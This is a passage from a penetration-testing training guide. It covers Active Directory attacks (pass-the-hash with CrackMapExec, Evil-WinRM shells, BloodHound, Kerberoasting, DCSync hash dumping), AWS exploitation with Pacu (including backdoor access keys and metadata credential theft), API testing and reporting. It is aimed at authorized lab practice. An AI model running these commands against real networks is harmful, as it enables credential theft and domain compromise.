hash) ─── crackmapexec smb 192.168.1.0/24 \ -u administrator \ -H "31d6cfe0d16ae931b73c59d7e0c089c0" \ --local-auth # ── STEP 7: WinRM shell (interactive PowerShell) ────────────────── crackmapexec winrm 192.168.1.10 -u administrator -p "Password123" # Full interactive shell via Evil-WinRM evil-winrm -i 192.168.1.10 -u administrator -p "Password123" # Or with hash: evil-winrm -i 192.168.1.10 -u administrator \ -H "31d6cfe0d16ae931b73c59d7e0c089c0" # ── STEP 8: Enumerate logged-on users network-wide ──────────────── crackmapexec smb 192.168.1.0/24 -u administrator -p "Password123" \ --loggedon-users # Spot domain admins logged onto workstations — high-value pivot targets # ── CME RESULTS: View all cracked sessions ──────────────────────── cmedb # interactive database of all discovered hosts, users, hashes
Pwn3d! on 40 out of 50 hosts with a single set of credentials is one of the most visually impactful findings you can present to management. It immediately communicates that one breached account = entire network compromised. Screenshot the output, redact sensitive hostnames, and include it directly in the Executive Summary.BloodHound — Active Directory Attack Path Mapping
BloodHound uses graph theory to reveal hidden and often unintended relationships in Active Directory environments. It ingests data collected by SharpHound (or bloodhound-python from Kali), stores it in a Neo4j graph database, and lets you query for the shortest attack path from any user to Domain Admin. In many real engagements, BloodHound reveals a path to DA in under 5 minutes that would take days to find manually.
- Install and configure BloodHound with Neo4j on Kali Linux.
- Collect AD data using bloodhound-python from an authenticated domain user.
- Import data and explore the AD graph visually.
- Find the shortest path from a low-privilege user to Domain Admin.
- Identify Kerberoastable accounts, AS-REP roastable users, and DCSync principals.
- Use pre-built queries to find high-value misconfigurations.
- Install Neo4j and BloodHound. Start Neo4j first — BloodHound requires it as its database backend.
- Open Neo4j at http://localhost:7474 and change the default password (neo4j/neo4j) to something you'll remember.
- Launch BloodHound and log in with the Neo4j credentials you just set.
- From Kali, run bloodhound-python with valid domain credentials to collect all AD data remotely. This generates JSON files.
- Drag and drop the JSON files into the BloodHound interface to import.
- Run the pre-built "Find Shortest Paths to Domain Admins" query — every path shown is a real attack route.
- Run the Kerberoasting query to find all service accounts with SPNs — these are crackable offline.
- Screenshot all attack paths found and include them in your report with an explanation of each hop in plain language.
# ── INSTALLATION ───────────────────────────────────────────────── sudo apt install neo4j bloodhound -y pip install bloodhound # bloodhound-python (remote data collector) # ── START NEO4J DATABASE ───────────────────────────────────────── sudo neo4j start # Open http://localhost:7474 in browser # Default login: neo4j / neo4j → change password on first login sudo neo4j status # confirm it's running # ── LAUNCH BLOODHOUND ──────────────────────────────────────────── bloodhound & # Login with your Neo4j credentials # ── COLLECT AD DATA (from Kali using domain credentials) ───────── mkdir -p ~/pentest/bloodhound && cd ~/pentest/bloodhound bloodhound-python \ -u "lowpriv_user" \ -p "Password123" \ -d corp.local \ -dc dc01.corp.local \ -c All \ --zip # -c All = collect Users, Groups, Computers, ACLs, GPOs, Sessions, Trusts # Creates a .zip of JSON files ready for BloodHound import # Alternative: collect specific categories bloodhound-python -u user -p pass -d corp.local -c DCOnly # faster, less noise bloodhound-python -u user -p pass -d corp.local -c Session # find where admins are logged in # ── IMPORT DATA ────────────────────────────────────────────────── # In BloodHound GUI: click "Upload Data" → select the .zip file # Wait for import to complete (progress bar in top right) # ── KEY BLOODHOUND QUERIES ──────────────────────────────────────── # All available in GUI under "Analysis" tab — or type in search bar: # 1. Shortest path to Domain Admins from owned user # Analysis → Find Shortest Paths to Domain Admins # 2. All Domain Admin accounts # Analysis → Find all Domain Admin group members # 3. Kerberoastable accounts (have SPNs — hashes crackable offline) # Analysis → List all Kerberoastable Accounts # 4. AS-REP Roastable users (no pre-auth required) # Analysis → Find AS-REP Roastable Users (DontReqPreAuth) # 5. Accounts with DCSync rights # Analysis → Find Principals with DCSync Rights # 6. Computers where DA is logged in right now # Analysis → Find Computers where Domain Admins are logged in # ── CYPHER QUERIES (advanced — paste in Raw Query box) ─────────── # Find all users with admin rights on more than 5 computers: MATCH (u:User)-[:AdminTo]->(c:Computer) WITH u, count(c) as adminCount WHERE adminCount > 5 RETURN u.name, adminCount ORDER BY adminCount DESC # Find computers accessible from a specific user account: MATCH p=shortestPath((u:User {name:"LOWPRIV@CORP.LOCAL"})-[*1..]->(c:Computer)) RETURN p
| Edge | Meaning | Exploitation |
|---|---|---|
MemberOf | User is a member of this group | Inherit all group permissions |
AdminTo | User/group has local admin rights on computer | PSExec, WMI, WinRM, Mimikatz |
HasSession | User has an active session on this computer | Target that computer to steal their token |
GenericAll | Full control over object | Reset password, add to group, modify ACL |
WriteDACL | Can modify object's ACL | Grant yourself GenericAll, then escalate |
DCSync | Can replicate domain controller data | Dump all domain password hashes via Mimikatz |
CanRDP | Can RDP to this computer | Interactive GUI session, bypass firewall rules |
Phase 5 Reporting
The penetration test report is the primary deliverable and the artifact of business value. A technically impressive engagement means nothing without a clear, actionable report that non-technical stakeholders can understand and act upon.
Report Structure
- Executive Summary — Business risk in plain language, overall risk rating, key recommendations. Written for C-suite. No jargon.
- Scope & Methodology — What was tested, what was excluded, which frameworks were followed, testing window.
- Findings Summary — Severity-sorted table of all vulnerabilities with CVSS scores.
- Detailed Findings — One section per vulnerability: description, affected system, proof-of-concept, business impact, remediation steps.
- Remediation Roadmap — Prioritized action plan with recommended timelines by severity.
- Appendices — Raw tool output, screenshots, credentials found, full timeline of activities.
CVSS Severity Ratings
| Severity | CVSS Range | Response Time | Example |
|---|---|---|---|
| Critical | 9.0 – 10.0 | Patch within 24 hours | RCE as root with no authentication |
| High | 7.0 – 8.9 | Patch within 7 days | SQL injection leaking user database |
| Medium | 4.0 – 6.9 | Patch within 30 days | Reflected XSS requiring user interaction |
| Low | 0.1 – 3.9 | Patch within 90 days | Server version disclosed in HTTP headers |
| Informational | 0.0 | Best-practice review | Missing Content Security Policy header |
Modern Cloud Penetration Testing
Modern organizations run most of their infrastructure in AWS, Azure, or GCP. Cloud pentesting requires understanding cloud-specific attack vectors: IAM misconfigurations, exposed storage buckets, metadata service abuse, and serverless function exploitation.
AWS IAM Misconfiguration & S3 Bucket Enumeration
Run this lab against your own AWS account or use CloudGoat (github.com/RhinoSecurityLabs/cloudgoat) — a deliberately vulnerable AWS lab by Rhino Security Labs. Never test against AWS accounts you don't own.
| Vector | Description | Tool |
|---|---|---|
| Public S3 buckets | Misconfigured storage exposes sensitive files | aws cli, s3scanner |
| IAM privilege escalation | Overpermissioned role leads to admin access | pacu, aws cli |
| Metadata service (SSRF) | EC2 metadata at 169.254.169.254 exposes IAM creds | curl |
| Exposed access keys | Keys in GitHub, environment variables, source code | trufflehog, gitleaks |
| Lambda function abuse | Insecure environment variables, code injection | pacu, manual review |
# Install AWS CLI and configure pip install awscli aws configure # enter your test credentials # Enumerate your own identity aws sts get-caller-identity # Check for public S3 buckets (replace with your domain) aws s3 ls s3://your-test-bucket --no-sign-request 2>/dev/null pip install s3scanner && s3scanner scan --bucket your-test-bucket # Enumerate IAM permissions (what can this key do?) aws iam list-attached-user-policies --user-name your-user aws iam get-policy-version --policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME --version-id v1 # Simulate the EC2 metadata attack (if you have an EC2 instance) curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME # Install Pacu (AWS exploitation framework) pip install pacu pacu # then: import_keys my_profile, run iam__enum_permissions # Run ScoutSuite for comprehensive AWS security audit pip install scoutsuite scout aws --report-dir ./scout_output
Modern API Security Testing
Modern applications communicate via REST and GraphQL APIs. API security testing is now a core skill — the OWASP API Security Top 10 (2023) defines the most critical vulnerabilities in this space.
REST API Testing on OWASP crAPI & Juice Shop
| ID | Vulnerability | Description |
|---|---|---|
| API1 | Broken Object Level Authorization | Access other users' data by changing object IDs in requests |
| API2 | Broken Authentication | Weak tokens, no rate limiting, credential stuffing |
| API3 | Broken Object Property Authorization | API returns more data than needed (excessive data exposure) |
| API4 | Unrestricted Resource Consumption | No rate limiting — abuse for DoS or bulk data harvesting |
| API5 | Broken Function Level Authorization | Access admin endpoints without admin privileges |
| API6 | Unrestricted Access to Sensitive Business Flows | Abuse business logic (bulk buying, discount abuse) |
| API7 | Server-Side Request Forgery | API fetches user-supplied URL, reaches internal services |
| API8 | Security Misconfiguration | Debug endpoints, verbose errors, open CORS |
# Run OWASP Juice Shop (full API + web app target) docker run --rm -d -p 3000:3000 bkimminich/juice-shop # Access at http://localhost:3000 # Run crAPI (Completely Ridiculous API) — dedicated API lab git clone https://github.com/OWASP/crAPI cd crAPI && docker-compose up -d # Access at http://localhost:8888 # ── BOLA (API1) — test object ID manipulation ───────────────────── # Login to Juice Shop, then in Burp Suite intercept a request like: # GET /api/Users/1 → change to /api/Users/2, /api/Users/3 # Try to access other users' data # ── Enumerate hidden API endpoints ──────────────────────────────── ffuf -u http://localhost:3000/api/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \ -mc 200,201,400,401,403 -o api_endpoints.json # ── JWT token manipulation ───────────────────────────────────────── pip install jwt-tool python3 jwt_tool.py <JWT_TOKEN> -T # tamper mode python3 jwt_tool.py <JWT_TOKEN> -X a # algorithm confusion attack # ── Check for verbose API errors ───────────────────────────────── curl -s -X POST http://localhost:3000/api/Users/ \ -H "Content-Type: application/json" \ -d '{"email": "test", "password": "x"}' | python3 -m json.tool
Modern Active Directory Attacks
Active Directory (AD) is the backbone of most enterprise networks. AD attacks are among the most impactful in real-world penetration tests — a single misconfiguration can cascade to full domain compromise.
AD Enumeration, Kerberoasting & BloodHound Path Analysis
Use GOAD (Game of Active Directory) by Mayfly277 — a free, intentionally vulnerable AD lab: github.com/Orange-Cyberdefense/GOAD. Alternatively, use HackTheBox Pro Labs: RastaLabs or Offshore for cloud-hosted AD environments.
| Attack | Description | MITRE |
|---|---|---|
| AS-REP Roasting | Request Kerberos ticket for users with "no pre-auth" set — crack offline | T1558.004 |
| Kerberoasting | Request service tickets (TGS) for SPNs — crack the hash offline | T1558.003 |
| Pass-the-Ticket | Inject a stolen Kerberos ticket into a new session | T1550.003 |
| DCSync | Simulate a domain controller replication to dump all hashes | T1003.006 |
| BloodHound paths | Graph-based attack path analysis to find shortest path to Domain Admin | T1069.002 |
# ── Enumerate AD without credentials ───────────────────────────── enum4linux-ng -A dc_ip -oY results.yaml nmap -p 389,636,3389,88,445 --script ldap-search dc_ip # ── AS-REP Roasting (no pre-auth users) ────────────────────────── impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip dc_ip # Crack the AS-REP hash: hashcat -m 18200 asrep_hash.txt /usr/share/wordlists/rockyou.txt # ── Kerberoasting ───────────────────────────────────────────────── impacket-GetUserSPNs domain.local/user:password -dc-ip dc_ip -request # Crack the TGS hash: hashcat -m 13100 tgs_hash.txt /usr/share/wordlists/rockyou.txt # ── BloodHound data collection ──────────────────────────────────── pip install bloodhound bloodhound-python -u user -p password -d domain.local -dc dc_ip -c All # Start Neo4j and BloodHound sudo neo4j start bloodhound & # Upload the .json files, then query: # "Find Shortest Paths to Domain Admins" # "Find all Domain Admin group members" # "Find Principals with DCSync Rights" # ── DCSync attack (once you have replication rights) ───────────── impacket-secretsdump domain.local/user:password@dc_ip # This dumps ALL NTLM hashes from the domain — full compromise
ScoutSuite — Multi-Cloud Security Audit
You need an AWS account to practice this lab. Use your own AWS Free Tier account — ScoutSuite is a read-only audit tool and will not modify or delete any resources. It only reads your configuration and reports misconfigurations.
ScoutSuite is an open-source multi-cloud security auditing tool developed by NCC Group. It connects to your cloud provider using existing credentials, enumerates all services and their configurations, and generates a detailed HTML report highlighting misconfigurations, overpermissioned roles, publicly accessible resources, and security risks — mapped to CIS Benchmarks and cloud security best practices.
- Install ScoutSuite and configure AWS credentials for read-only access.
- Run a full AWS security audit across all services.
- Identify publicly accessible S3 buckets, overpermissioned IAM roles, and missing security controls.
- Interpret the HTML report and prioritise findings by severity.
- Understand how to run ScoutSuite against Azure and GCP.
- Install ScoutSuite using pip and confirm the installation works.
- Create a read-only IAM user in your AWS account with the
SecurityAuditmanaged policy attached. Generate access keys for this user. - Configure the AWS CLI with these credentials using
aws configure. - Run ScoutSuite against your AWS account. The scan typically takes 5–15 minutes depending on the number of resources.
- Open the generated HTML report in your browser. Navigate the service-by-service findings.
- Identify and document: any publicly accessible S3 buckets, IAM users without MFA, security groups with 0.0.0.0/0 inbound rules, and unencrypted storage volumes.
- Write up your three most critical findings in the lab report format.
# ── INSTALLATION ───────────────────────────────────────────────── pip install scoutsuite scout --version # confirm install # ── AWS CREDENTIAL SETUP ───────────────────────────────────────── aws configure # Enter: AWS Access Key ID, Secret Access Key, Region (e.g. us-east-1), output format (json) aws sts get-caller-identity # confirm credentials work # ── RUN SCOUTSUITE — FULL AWS AUDIT ────────────────────────────── mkdir -p ~/pentest/scoutsuite && cd ~/pentest/scoutsuite scout aws --report-dir ./aws_report # Scans: IAM, S3, EC2, RDS, Lambda, CloudTrail, VPC, KMS, SNS, SQS, and more # Output: ./aws_report/scoutsuite-report/scoutsuite_results_aws-ACCOUNT_ID.html # Open the report xdg-open ./aws_report/scoutsuite-report/*.html # ── TARGETED SCANS (specific services only) ─────────────────────── scout aws --services s3 iam ec2 # only scan these services scout aws --exclude-services cloudtrail # exclude noisy services # ── RUN AGAINST AZURE ──────────────────────────────────────────── az login # authenticate with Azure CLI first scout azure --cli --report-dir ./azure_report # ── RUN AGAINST GCP ────────────────────────────────────────────── gcloud auth application-default login scout gcp --user-account --report-dir ./gcp_report # ── INTERPRET FINDINGS: Check for these critical issues ────────── # 1. S3 → Public Buckets: any bucket with "Public" badge = data exposure risk # 2. IAM → Users without MFA: accounts that can be hijacked with just a password # 3. EC2 → Security Groups with 0.0.0.0/0: unrestricted inbound access # 4. IAM → Policies with wildcard (*) actions: overpermissioned roles # 5. CloudTrail → Disabled logging: attacker actions won't be recorded # 6. RDS → Publicly accessible databases: direct internet exposure # 7. KMS → Unencrypted EBS/RDS volumes: data at rest not protected
| Service | Finding | Risk | Remediation |
|---|---|---|---|
| S3 | Bucket publicly accessible | Critical | Block Public Access at account level, set bucket ACL to private |
| IAM | Root account has active access keys | Critical | Delete root access keys, use IAM users/roles instead |
| IAM | Users without MFA enabled | High | Enforce MFA via IAM policy aws:MultiFactorAuthPresent |
| EC2 | Security group allows 0.0.0.0/0 on port 22/3389 | High | Restrict SSH/RDP to known IP ranges only |
| CloudTrail | Not enabled in all regions | Medium | Enable CloudTrail globally with log file validation |
| RDS | Database instance publicly accessible | High | Set PubliclyAccessible=false, use VPC private subnet |
Pacu — AWS Exploitation Framework
Use CloudGoat by Rhino Security Labs — a deliberately vulnerable AWS environment designed specifically for Pacu practice. Never run Pacu exploitation modules against real AWS accounts without explicit written authorisation. Setup: pip install cloudgoat → cloudgoat create iam_privesc_by_rollback
Pacu is an open-source AWS exploitation framework developed by Rhino Security Labs, the same team behind CloudGoat. It works similarly to Metasploit but for AWS — it provides modules for IAM enumeration, privilege escalation, persistence, data exfiltration, and evasion within AWS environments. Once you have any set of AWS credentials, Pacu tells you what they can do and helps you do it.
- Install and configure Pacu with AWS credentials.
- Enumerate all IAM permissions attached to the current credentials.
- Identify privilege escalation paths available to the current IAM identity.
- Enumerate S3 buckets, EC2 instances, and Lambda functions.
- Exploit an IAM privilege escalation path (in CloudGoat environment).
- Understand how to document AWS-specific findings in a penetration test report.
- Install Pacu and CloudGoat. Deploy a CloudGoat scenario to get a set of intentionally misconfigured AWS credentials to practise with.
- Launch Pacu and create a new session. Import the CloudGoat credentials into the session.
- Run the IAM enumeration module to discover what permissions the credentials have.
- Run the privilege escalation enumeration module — Pacu will identify which escalation paths are available based on the current permissions.
- Enumerate all readable S3 buckets and check their contents for sensitive data.
- Enumerate EC2 instances to map the environment infrastructure.
- Execute an IAM privilege escalation path as identified (CloudGoat scenario is designed for this).
- Document each finding with the AWS resource ARN, the permission that enabled it, and the remediation.
# ── INSTALLATION ───────────────────────────────────────────────── pip install pacu pip install cloudgoat # deliberately vulnerable AWS lab # ── CLOUDGOAT SETUP (one-time) ──────────────────────────────────── cloudgoat config profile # configure with your AWS admin account cloudgoat config whitelist --auto # whitelist your IP cloudgoat create iam_privesc_by_rollback # deploy scenario # Note the raynor credentials output — these are your low-priv starting credentials # ── LAUNCH PACU ────────────────────────────────────────────────── pacu # ── PACU SESSION SETUP ─────────────────────────────────────────── Pacu > new_session cloudgoat_lab Pacu > set_keys # Enter the CloudGoat raynor access key and secret key when prompted # ── VERIFY IDENTITY ────────────────────────────────────────────── Pacu > whoami # Shows: current IAM user/role, account ID, ARN # ── MODULE 1: Enumerate IAM permissions ────────────────────────── Pacu > run iam__enum_permissions # Discovers: all IAM policies attached, inline policies, group memberships # Output stored in session data for other modules to use # ── MODULE 2: Find privilege escalation paths ───────────────────── Pacu > run iam__privesc_scan # Analyses permissions and reports which escalation techniques are available # Common paths: CreatePolicyVersion, AttachUserPolicy, UpdateAssumeRolePolicy # ── MODULE 3: Enumerate S3 buckets ─────────────────────────────── Pacu > run s3__enum Pacu > run s3__download_bucket # download accessible bucket contents # ── MODULE 4: Enumerate EC2 infrastructure ─────────────────────── Pacu > run ec2__enum # Maps all instances, security groups, VPCs, key pairs in all regions # ── MODULE 5: Enumerate Lambda functions ───────────────────────── Pacu > run lambda__enum # Checks for environment variables containing secrets (common misconfiguration) # ── MODULE 6: IAM Privilege Escalation — CreatePolicyVersion ────── Pacu > run iam__privesc_scan # If CreatePolicyVersion is available: Pacu > run iam__privesc --technique CreatePolicyVersion # Creates a new policy version granting AdministratorAccess to current user # ── MODULE 7: Backdoor IAM for persistence ──────────────────────── Pacu > run iam__backdoor_users_keys # Creates additional access keys on existing users for persistent access # ── VIEW ALL AVAILABLE MODULES ──────────────────────────────────── Pacu > ls # list all modules Pacu > search enum # search for enumeration modules Pacu > search privesc # search for privilege escalation modules Pacu > help iam__enum_permissions # get help on a specific module # ── CLEANUP: Destroy CloudGoat scenario when done ───────────────── cloudgoat destroy iam_privesc_by_rollback # Always destroy when finished — CloudGoat resources cost money if left running
| Technique | Required Permission | What It Does |
|---|---|---|
| CreatePolicyVersion | iam:CreatePolicyVersion | Create new version of a managed policy with AdministratorAccess |
| AttachUserPolicy | iam:AttachUserPolicy | Attach the AWS managed AdministratorAccess policy to yourself |
| CreateAccessKey | iam:CreateAccessKey on other users | Create access keys for another (more privileged) IAM user |
| AssumeRole | sts:AssumeRole on a privileged role | Assume a role with admin permissions |
| UpdateLoginProfile | iam:UpdateLoginProfile | Reset the console password of a more privileged user |
| Lambda invocation | lambda:InvokeFunction + iam:PassRole | Execute code as a privileged Lambda execution role |
Reference IOC & Finding Reference
| Indicator Type | What to Look For / Test | Severity | MITRE TTP |
|---|---|---|---|
| FTP version | vsftpd 2.3.4 on port 21 | Critical | T1190 |
| Default credentials | admin/admin, root/root, postgres/postgres on any service | Critical | T1078 |
| SQL injection | Unsanitized input in GET/POST parameters; database errors returned | High | T1190 |
| Stored XSS | User input reflected in pages without HTML encoding | High | T1059.007 |
| SUID binaries | Non-standard binaries with SUID bit set (nmap, find, vim, python) | High | T1548.001 |
| Unquoted service paths | Windows services with spaces in path and no quotes | Medium | T1574.009 |
| Open directory listing | Apache/Nginx directory index enabled — files browseable | Medium | T1083 |
| Missing security headers | No CSP, HSTS, X-Frame-Options in HTTP responses | Low | T1190 |
| Version disclosure | Server: Apache/2.2.8, X-Powered-By: PHP/5.2 in headers | Low | T1082 |
| Public S3 bucket | AWS S3 bucket accessible without authentication | Critical | T1530 |
| Exposed .git directory | /.git/config accessible on web server | High | T1213 |
| NTLM relay opportunity | SMB signing disabled on domain-joined hosts | High | T1557.001 |
Appendix A Lab Report Template
Complete this template for every lab exercise. Save this page (File → Save As) to fill it in, or print it and complete by hand.
| Finding | Severity | Port / Service | CVE |
|---|---|---|---|
All techniques must only be practiced in authorized environments.